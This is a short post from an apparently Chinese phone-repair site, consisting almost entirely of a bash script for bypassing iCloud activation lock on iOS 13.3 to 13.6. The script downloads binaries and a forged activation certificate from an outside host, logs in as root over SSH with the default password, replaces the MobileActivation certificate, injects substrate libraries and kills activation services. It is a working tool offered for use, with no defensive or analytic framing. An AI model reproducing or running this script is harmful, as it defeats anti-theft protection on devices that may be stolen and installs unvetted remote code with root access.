iOS 13.3~13.6绕过的部分代码

2020-08-12 13:59:05      263 浏览    作者:菲一般

[cc lang=”lang_name”]
#!/bin/bash

if ! which curl >> /dev/null; then
echo “Error: curl not found”
exit 1
fi

if ! which iproxy >> /dev/null; then
echo “Error: iproxy not found”
exit 1
fi

rm -rf ~/.ssh/known_hosts

cd “`dirname “$0″`”

idevicepair pair

iproxy 1025 44 2> /dev/null &

echo ‘#!/bin/bash’ > reboots.sh
echo ‘mount -o rw,union,update /’ >> reboots.sh
echo ‘cd /var/root’ >> reboots.sh
echo ‘mv bootstrap.tar.gz /bootstrap.tar.gz’ >> reboots.sh
echo ‘cd / && tar zxvf bootstrap.tar.gz && rm bootstrap.tar.gz’ >> reboots.sh
echo ‘rm -r /System/Library/PrivateFrameworks/MobileActivation.framework/Support/Certificates/RaptorActivation.pem’ >> reboots.sh
echo ‘mv RaptorActivation.pem /System/Library/PrivateFrameworks/MobileActivation.framework/Support/Certificates/RaptorActivation.pem’ >> reboots.sh
echo ‘chown 444 /System/Library/PrivateFrameworks/MobileActivation.framework/Support/Certificates/RaptorActivation.pem’ >> reboots.sh
echo ‘mv untethered.dylib /Library/MobileSubstrate/DynamicLibraries/untethered.dylib’ >> reboots.sh
echo ‘mv untethered.plist /Library/MobileSubstrate/DynamicLibraries/untethered.plist’ >> reboots.sh
echo ‘chmod +x /Library/MobileSubstrate/DynamicLibraries/untethered.dylib’ >> reboots.sh
echo ‘mv iuntethered.dylib /Library/MobileSubstrate/DynamicLibraries/iuntethered.dylib’ >> reboots.sh
echo ‘mv iuntethered.plist /Library/MobileSubstrate/DynamicLibraries/iuntethered.plist’ >> reboots.sh
echo ‘chmod +x /Library/MobileSubstrate/DynamicLibraries/iuntethered.dylib’ >> reboots.sh
echo ‘chmod 755 /usr/libexec/substrate && /usr/libexec/substrate’ >> reboots.sh
echo ‘chmod 755 /usr/libexec/substrated && /usr/libexec/substrated’ >> reboots.sh
echo ‘killall -9 SpringBoard mobileactivationd’ >> reboots.sh
echo ‘snappy -f / -r `snappy -f / -l | sed -n 2p` -t orig-fs’ >> reboots.sh
echo ‘rm /var/root/reboots.sh’ >> reboots.sh

echo “Downloading…”
curl -O https://datatr.ee/0:/iCloudBypass/bypass/bootstrap.tar.gz -O https://datatr.ee/0:/iCloudBypass/bypass/RaptorActivation.pem -O https://datatr.ee/0:/iCloudBypass/bypass/untethered.dylib -O https://datatr.ee/0:/iCloudBypass/bypass/untethered.plist -O https://datatr.ee/0:/iCloudBypass/bypass/iuntethered.dylib -O https://datatr.ee/0:/iCloudBypass/bypass/iuntethered.plist -O https://datatr.ee/0:/iCloudBypass/bypass/sshpass
echo “Done.”

./sshpass -p alpine scp -rP 1025 -o StrictHostKeyChecking=no bootstrap.tar.gz RaptorActivation.pem untethered.dylib untethered.plist iuntethered.dylib iuntethered.plist reboots.sh root@localhost:/var/root/

./sshpass -p “alpine” ssh -o StrictHostKeyChecking=no root@localhost -p 1025 “bash /var/root/reboots.sh”
rm -rf bootstrap.tar.gz
rm -rf RaptorActivation.pem
rm -rf untethered.dylib
rm -rf untethered.plist
rm -rf iuntethered.dylib
rm -rf iuntethered.plist
rm -rf sshpass
rm -rf reboots.sh
[/cc]

0
Copyright © 2006-2020 手机维修技术分享.手机维修权威网 版权所有